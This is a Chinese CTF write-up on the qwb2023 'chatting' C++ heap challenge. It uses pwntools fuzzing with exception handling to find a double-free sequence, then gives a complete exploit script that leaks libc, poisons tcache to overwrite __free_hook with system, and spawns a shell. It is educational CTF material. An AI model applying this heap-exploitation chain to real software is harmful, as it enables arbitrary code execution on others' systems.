从fuzz视角看CTF堆题--qwb2023_chatting
前言
这个题目是一个c++的堆题，而我自己对于c++的一些内存分配不太了解，同时也不太会c++的逆向，硬看是没有办法了，所以就想能不能通过fuzz的角度去进行利用
fuzz
大概思路
函数选择
可以看到有add delete switch read listuser message6个操作，而凭感觉来说，listuser一般没什么效果，所以我这里主要fuzz其他五个函数
交互
简单写一下交互
def add(name):
sla(b"listuser, exit): ",b"add")
sla(b"new username: ",name)
def free(name):
sla(b"listuser, exit): ",b"delete")
sla(b"to delete: ",name)
def message(username,size,data):
sla(b"listuser, exit): ",b"message")
sla(b"To: ",username)
sla(b"Message size: ",str(size))
sla(b"Content: ",data)
def show():
sla(b"listuser, exit): ",b"read")
def switch(user):
sla(b"listuser, exit): ",b"switch")
sla(b"o switch to: ",user)
参数
这里可以注意到，参数总共有3种，1 username，2 message的size，3 message的data
username这里我就简单一个random.choice(“abcdefgh”) 随机取值，大概范围就是8个值，样本范围不适合太大
size 这里我简单看了一下程序，里面有个分配0x60大小的堆，保存了用户的信息，然后我就想把message的size和这个用户的size构造一样，有可能会有uaf的问题
data 这里我就随便写了短的内容，最开始也没想过溢出，还是想fuzz double free这种问题
初步fuzz结构
下面是一个fuzz的例子，可以看到思路就很简单，随机执行操作，然后记录到log里面
def fuzz():
f=open('log.txt','w')
for i in range(0,0x1000):
if i % 10 == 0:
idx=randint(0,0x10)
add(0x20,idx)
f.write('add({},0x20)'.format(idx)+'\n')
elif i % 2 == 0 :
idx=randint(0,0x10)
free(idx)
f.write('delt({})'.format(idx)+'\n')
elif i % 3 == 0 :
idx=randint(0,0x10)
show(idx)
ru('>>: ')
check_char=r(1)
if check_char == '\x55' or check_char == '\x56':
f.write('show({})'.format(idx)+'\n')
break
f.close()
但是在做这个题目的时候遇到了其他的一些问题，不像之前fuzz其他题目一样，这个题目fuzz很容易报错，那么我们必须要进行一个异常的捕获
处理异常
处理异常这里坑还是比较多的，我就分别描述
无法获取程序异常返回结果
在交互里面，我们比较习惯写成sla，或者ru这种，他报错的时候不会返回给我们程序的报错内容，所以这里我通过阅读ru的实现，修改了一下代码，把程序的返回值放到Exception里面，然后我们就可以知道程序到底报了什么错，是double free呢，还是invalid pointer
log记录问题
log里面少记录
按照前面提到的fuzz结构，增加异常处理后类似于下面的代码
def fuzz():
f=open('log.txt','w')
try:
for i in range(0,0x1000):
if i % 10 == 0:
idx=randint(0,0x10)
add(0x20,idx)
f.write('add({},0x20)'.format(idx)+'\n')
elif i % 2 == 0 :
idx=randint(0,0x10)
free(idx)
f.write('delt({})'.format(idx)+'\n')
except:
pass
finally:
f.close()
这种写法，如果在执行流程里面比如说add里报了错，因为抛了异常导致这个操作会无法记录下来
log里面多记录
针对上面少记录的情况，可能我们会这样改
def fuzz():
f=open('log.txt','w')
try:
for i in range(0,0x1000):
if i % 10 == 0:
idx=randint(0,0x10)
tmp='add({},0x20)'.format(idx)+'\n'
add(0x20,idx)
f.write('add({},0x20)'.format(idx)+'\n')
elif i % 2 == 0 :
idx=randint(0,0x10)
tmp='delt({},0x20)'.format(idx)+'\n'
free(idx)
f.write('delt({})'.format(idx)+'\n')
except:
f.write(tmp)
finally:
f.close()
但是上面这种修改又会带来新的问题
我们add操作输入完username后程序抛了异常，但是这个时候不会在add这里结束，他还会执行到下一个流程，然后会在下一个流程的sla(b"listuser, exit")这里抛异常，然后我们就会多记录一个操作
最终解决方法
在这里，我们需要定义一个流程完整的生命周期
交互开始,从收到):代表我们流程的开始
交互结束，收到Choose action为止
这样定义后我们可以保证下一个流程能够正常的开始，就不会出上面提到的多记录的问题了，也就能够保证，当前流程抛出的异常一定是当前流程里执行某些操作引起的，而不是上一个流程遗留的异常
总共就是下面三个情况
- 如果add中间出错了，那么flag=0,我们会在excpet里面记录
- 如果ru报错，那么证明add完之后出现了问题，flag=0,也会记上
- 如果本次add操作没有触发任何异常，那么也会记录在log里，同时也能够成功执行到下一次的操作，
def fuzz():
global io
io = process("./chatting")
f=open("log.txt","w")
try:
for i in range(0,0x1000):
flag=0#防止在执行函数的时候报错
tmp=""
if i % 19 == 0:
name=random.choice("abcdefgh")
tmp=f'add("{name}")\n'
add(name)
ru('Choose action')
flag=1
f.write(tmp)
elif i%4==0:
name=random.choice("abcdefgh")
tmp=f'free("{name}")\n'
free(name)
ru('Choose action')
flag=1
f.write(tmp)
except Exception as e:
if flag==0:
f.write(tmp)
if b"double free or corruption" not in e.args[0]:
return 0
else:
print(e.args[0])
return 1
finally:
f.close()
io.close()
按照上面的结构fuzz，一方面我们可以获取到程序的异常原因，另一个方面也可以不多不少的记录下来执行的操作
开始fuzz
保留所有结果的fuzz
这个fuzz里面保留了所有的结果
#!/usr/bin/python3
# -*- coding: utf-8 -*-
from pwn import *
it = lambda: io.interactive()
ru = lambda x: io.recvuntil(x)
rud = lambda x: io.recvuntil(x, drop=True)
r = lambda x: io.recv(x)
rl = lambda: io.recvline()
rld = lambda: io.recvline(keepends=False)
s = lambda x: io.send(x)
sa = lambda x, y: io.sendafter(x, y)
sl = lambda x: io.sendline(x)
sla = lambda x, y: io.sendlineafter(x, y)
elf_path = "./chatting"
lib_path=""
parm=elf_path
elf = ELF(elf_path)
context(arch=elf.arch, log_level="debug")
if lib_path:
libc = ELF(f"{lib_path}/libc.so.6")
else:
libc=elf.libc
def add(name):
sla(b"listuser, exit): ",b"add")
sla(b"new username: ",name)
def free(name):
sla(b"listuser, exit): ",b"delete")
sla(b"to delete: ",name)
def message(username,size,data):
sla(b"listuser, exit): ",b"message")
sla(b"To: ",username)
sla(b"Message size: ",str(size))
sla(b"Content: ",data)
def show():
sla(b"listuser, exit): ",b"read")
def switch(user):
sla(b"listuser, exit): ",b"switch")
sla(b"o switch to: ",user)
def fuzz():
global io
io = process("./chatting")
sla(b"new username: ",b"a")
f=open("log.txt","w")
try:
for i in range(0,0x1000):
flag=0#防止在执行函数的时候报错
tmp=""
if i % 19 == 0:
name=random.choice("abcdefgh")
tmp=f'add("{name}")\n'
add(name)
ru('Choose action')
flag=1
f.write(tmp)
elif i%4==0:
name=random.choice("abcdefgh")
tmp=f'free("{name}")\n'
free(name)
info =ru('Choose action')
flag=1
f.write(tmp)
elif i %4==1:
name=random.choice("abcdefgh")
tmp=f'message("{name}",0x58,"aa")\n'
message(name,0x58,"aa")
info =ru('Choose action')
flag=1
f.write(tmp)
elif i %4==2:
name=random.choice("abcdefgh")
tmp=f'switch("{name}")\n'
switch(name)
info =ru('Choose action')
flag=1
f.write(tmp)
elif i%4==3:
tmp='show()\n'
show()
info=ru(b"Choose action")
flag=1
if b"\x55" in info or b"\x56" in info or b"\x7f" in info:
f.write(tmp)
f.write(f"#{info}\n")
except Exception as e:
if flag==0:
f.write(tmp)
if b"double free or corruption" not in e.args[0]:
return 0
else:
print(e.args[0])
return 1
finally:
f.close()
io.close()
while True:
if fuzz()==1:
print("sucess")
exit(0)
方便的验证脚本
#!/usr/bin/python3
# -*- coding: utf-8 -*-
from pwn import *
it = lambda: io.interactive()
ru = lambda x: io.recvuntil(x)
rud = lambda x: io.recvuntil(x, drop=True)
r = lambda x: io.recv(x)
rl = lambda: io.recvline()
rld = lambda: io.recvline(keepends=False)
s = lambda x: io.send(x)
sa = lambda x, y: io.sendafter(x, y)
sl = lambda x: io.sendline(x)
sla = lambda x, y: io.sendlineafter(x, y)
elf_path = "./chatting"
lib_path=""
parm=elf_path
elf = ELF(elf_path)
context(arch=elf.arch, log_level="debug")
if lib_path:
libc = ELF(f"{lib_path}/libc.so.6")
else:
libc=elf.libc
def add(name):
sla(b"): ",b"add")
sla(b"new username: ",name)
def free(name):
sla(b"): ",b"delete")
sla(b"to delete: ",name)
def message(username,size,data):
sla(b"): ",b"message")
sla(b"To: ",username)
sla(b"Message size: ",str(size))
sla(b"Content: ",data)
def show():
sla(b"): ",b"read")
def switch(user):
sla(b"): ",b"switch")
sla(b"o switch to: ",user)
io = process(parm)
sla(b"new username: ",b"a")
with open("log.txt","r" ) as f:
for line in f.read().split("\n"):
if line=="" or line[0]=="#" :
pass
else:
eval(line)
it()
去掉一些无用操作的fuzz
fuzz里会有一些无用操作，比如说我们free一个不存在的index的结构体，那么他会提示not found，同时实际上他也没有影响堆布局等，这些可以忽略的
先调整一下delete
name=random.choice("abcdefgh")
tmp=f'free("{name}")\n'
free(name)
info =ru('Choose action')
flag=1
if b"not found!" in info:
continue
f.write(tmp)
调整一下switch
name=random.choice("abcdefgh")
tmp=f'switch("{name}")\n'
switch(name)
info =ru('Choose action')
flag=1
if b"not found!" in info:
continue
f.write(tmp)
经过测试发现，虽然message会报Recipient not found!的错误，但是我们不能把他过滤，实际上他还是做了对应的操作的,下面是代码部分
那从纯fuzz的角度来说呢，我们就是一个个试，看看哪些是可以忽略，哪些不能忽略
如果我们保存log的时候忽略了一些看起来没有效果的操作，但是实际上这些操作可能影响了堆布局，我们在复现log里面保存的payload的时候就会无法触发异常
所以本次经过测试，show delete switch操作可以忽略一些无效的操作，但是message不行
#!/usr/bin/python3
# -*- coding: utf-8 -*-
from pwn import *
it = lambda: io.interactive()
ru = lambda x: io.recvuntil(x)
rud = lambda x: io.recvuntil(x, drop=True)
r = lambda x: io.recv(x)
rl = lambda: io.recvline()
rld = lambda: io.recvline(keepends=False)
s = lambda x: io.send(x)
sa = lambda x, y: io.sendafter(x, y)
sl = lambda x: io.sendline(x)
sla = lambda x, y: io.sendlineafter(x, y)
elf_path = "./chatting"
lib_path=""
parm=elf_path
elf = ELF(elf_path)
context(arch=elf.arch, log_level="debug")
if lib_path:
libc = ELF(f"{lib_path}/libc.so.6")
else:
libc=elf.libc
def add(name):
sla(b"listuser, exit): ",b"add")
sla(b"new username: ",name)
def free(name):
sla(b"listuser, exit): ",b"delete")
sla(b"to delete: ",name)
def message(username,size,data):
sla(b"listuser, exit): ",b"message")
sla(b"To: ",username)
sla(b"Message size: ",str(size))
sla(b"Content: ",data)
def show():
sla(b"listuser, exit): ",b"read")
def switch(user):
sla(b"listuser, exit): ",b"switch")
sla(b"o switch to: ",user)
def fuzz():
global io
io = process("./chatting")
sla(b"new username: ",b"a")
f=open("log.txt","w")
try:
for i in range(0,0x1000):
flag=0#防止在执行函数的时候报错
tmp=""
if i % 19 == 0:
name=random.choice("abcdefgh")
tmp=f'add("{name}")\n'
add(name)
ru('Choose action')
flag=1
f.write(tmp)
elif i%4==0:
name=random.choice("abcdefgh")
tmp=f'free("{name}")\n'
free(name)
info =ru('Choose action')
flag=1
if b"not found!" in info:
continue
f.write(tmp)
elif i %4==1:
name=random.choice("abcdefgh")
tmp=f'message("{name}",0x58,"")\n'
message(name,0x58,"")
info =ru('Choose action')
flag=1
f.write(tmp)
elif i %4==2:
name=random.choice("abcdefgh")
tmp=f'switch("{name}")\n'
switch(name)
info =ru('Choose action')
flag=1
if b"not found!" in info:
continue
f.write(tmp)
elif i%4==3:
tmp='show()\n'
show()
info=ru(b"Choose action")
flag=1
if b"\x55" in info or b"\x56" in info or b"\x7f" in info :
f.write(tmp)
f.write(f"#{info}\n")
except Exception as e:
if flag==0:
f.write(tmp)
if b"double free or corruption" not in e.args[0]:
return 0
else:
print(e.args[0])
return 1
finally:
f.close()
io.close()
while True:
if fuzz()==1:
print("sucess")
exit(0)
结果
add("b")
message("g",0x58,"")
switch("b")
message("a",0x58,"")
switch("a")
message("c",0x58,"")
message("e",0x58,"")
switch("a")
message("b",0x58,"")
add("b")
message("d",0x58,"")
switch("b")
free("a")
message("c",0x58,"")
switch("b")
message("a",0x58,"")
free("b")
message("d",0x58,"")
message("e",0x58,"")
add("e")
message("h",0x58,"")
message("e",0x58,"")
switch("e")
message("g",0x58,"")
message("e",0x58,"")
switch("b")
add("g")
message("c",0x58,"")
switch("g")
free("b")
message("d",0x58,"")
switch("e")
show()
#b'e -> e: \n\xbc\xd1\xcb\xa8\x7f\nDone\nChoose action'
message("d",0x58,"")
show()
#b'e -> e: \n\xbc\xd1\xcb\xa8\x7f\nDone\nChoose action'
message("g",0x58,"")
show()
#b'e -> e: \n\xbc\xd1\xcb\xa8\x7f\nDone\nChoose action'
add("e")
message("h",0x58,"")
switch("g")
free("g")
message("b",0x58,"")
message("f",0x58,"")
message("h",0x58,"")
free("e")
message("e",0x58,"")
add("e")
message("e",0x58,"")
free("e")
message("a",0x58,"")
switch("e")
show()
#b'e -> e: \n\xd4p\xaf\x97U\nDone\nChoose action'
message("e",0x58,"")
show()
#b'e -> e: \n\xd4p\xaf\x97U\nDone\nChoose action'
message("f",0x58,"")
show()
#b'e -> e: \n\xd4p\xaf\x97U\nDone\nChoose action'
message("h",0x58,"")
add("d")
message("c",0x58,"")
message("b",0x58,"")
message("c",0x58,"")
message("c",0x58,"")
add("c")
修改payload
当我们去掉最后一个的时候可以发现这里已经double free了，那么我们只需要按照正常操作，去写free_hook即可
message("c",0x58,p64(libc_base+libc.sym["__free_hook"]))
message("c",0x58,"")
message("c",0x58,"a")
message("e",0x58,"/bin/sh\0")
message("f",0x58,p64(libc_base+libc.sym['system']))
最后发现add会free message,直接rce
all payload
#!/usr/bin/python3
# -*- coding: utf-8 -*-
from pwn import *
it = lambda: io.interactive()
ru = lambda x: io.recvuntil(x)
rud = lambda x: io.recvuntil(x, drop=True)
r = lambda x: io.recv(x)
rl = lambda: io.recvline()
rld = lambda: io.recvline(keepends=False)
s = lambda x: io.send(x)
sa = lambda x, y: io.sendafter(x, y)
sl = lambda x: io.sendline(x)
sla = lambda x, y: io.sendlineafter(x, y)
elf_path = "./chatting"
lib_path=""
parm=elf_path
elf = ELF(elf_path)
context(arch=elf.arch, log_level="debug")
if lib_path:
libc = ELF(f"{lib_path}/libc.so.6")
else:
libc=elf.libc
def add(name):
sla(b"): ",b"add")
sla(b"new username: ",name)
def free(name):
sla(b"): ",b"delete")
sla(b"to delete: ",name)
def message(username,size,data):
sla(b"): ",b"message")
sla(b"To: ",username)
sla(b"Message size: ",str(size))
sla(b"Content: ",data)
def show():
sla(b"): ",b"read")
def switch(user):
sla(b"): ",b"switch")
sla(b"o switch to: ",user)
io = process("./chatting")
sla(b"new username: ",b"a")
add("b")
message("g",0x58,"")
switch("b")
message("a",0x58,"")
switch("a")
message("c",0x58,"")
message("e",0x58,"")
switch("a")
message("b",0x58,"")
add("b")
message("d",0x58,"")
switch("b")
free("a")
message("c",0x58,"")
switch("b")
message("a",0x58,"")
free("b")
message("d",0x58,"")
message("e",0x58,"")
add("e")
message("h",0x58,"")
message("e",0x58,"")
switch("e")
message("g",0x58,"")
message("e",0x58,"")
switch("b")
add("g")
message("c",0x58,"")
switch("g")
free("b")
message("d",0x58,"")
switch("e")
message("d",0x58,"")
message("g",0x58,"")
show()
libc_base=u64(ru(b"\x7f")[-6:].ljust(8,b"\0"))-0x3ebc0a
add("e")
message("h",0x58,"")
switch("g")
free("g")
message("b",0x58,"")
message("f",0x58,"")
message("h",0x58,"")
free("e")
message("e",0x58,"")
add("e")
message("e",0x58,"")
free("e")
message("a",0x58,"")
switch("e")
message("e",0x58,"")
message("f",0x58,"")
message("h",0x58,"")
add("e")
message("c",0x58,"")
message("b",0x58,"")
message("c",0x58,"")
message("c",0x58,"")
message("c",0x58,p64(libc_base+libc.sym["__free_hook"]))
message("c",0x58,"")
message("c",0x58,"a")
message("e",0x58,"/bin/sh\0")
message("f",0x58,p64(libc_base+libc.sym['system']))
add("c")
it()
总结
- 注意异常处理部分
- 注意每一个流程完整的生命周期，防止当前流程触发的异常实际是上一个操作的
- 不要随意忽视看起来没有效果的操作，除非能保证去除那些操作之后不影响fuzz的结果，或者说除非我们从代码层面能够保证实际是没有效果的